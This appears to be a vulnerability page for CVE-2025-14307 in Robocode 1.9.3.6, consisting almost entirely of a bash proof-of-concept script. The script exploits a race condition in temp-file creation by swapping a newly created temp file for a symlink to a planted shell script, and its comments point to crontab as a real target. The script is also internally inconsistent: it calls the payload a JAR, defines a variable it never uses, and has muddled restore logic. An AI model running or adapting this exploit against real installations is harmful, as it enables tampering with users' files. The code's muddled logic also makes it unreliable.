CVE-2025-14307: Robocode 1.9.3.6 AutoExtract组件不安全临时文件创建漏洞

#!/bin/bash # CVE-2025-14307 PoC - TOCTOU Race Condition in Robocode AutoExtract # Target: Robocode 1.9.3.6 AutoExtract createTempFile() TARGET_DIR="$HOME/.robocode/config" MALICIOUS_FILE="/tmp/malicious_robot.jar" BACKUP_FILE="/tmp/backup_crontab" # Create malicious JAR payload echo "Creating malicious payload..." cat > /tmp/malicious.sh << 'EOF' #!/bin/bash echo "Malicious code executed!" >> /tmp/pwned.txt EOF chmod +x /tmp/malicious.sh # Monitor for temporary file creation echo "Monitoring for temp file creation..." while true; do # Check for newly created temp files in Robocode directory for file in $(find "$TARGET_DIR" -name 'tmp*' -type f 2>/dev/null); do echo "Found temp file: $file" # Race condition: quickly replace with symlink # This PoC demonstrates the vulnerability concept # In real attack, attacker would link to crontab or other sensitive files # Backup original if exists if [ -f "$file" ]; then cp "$file" "$BACKUP_FILE" fi # Create symlink to sensitive location (example: /tmp/pwned) ln -sf /tmp/malicious.sh "$file" echo "Symlink created, waiting for file write..." sleep 0.1 # Restore original if [ -f "$BACKUP_FILE" ]; then cp "$BACKUP_FILE" "$file" fi break 2 done sleep 0.5 done echo "PoC execution completed. Check /tmp/pwned.txt if exploitation succeeded."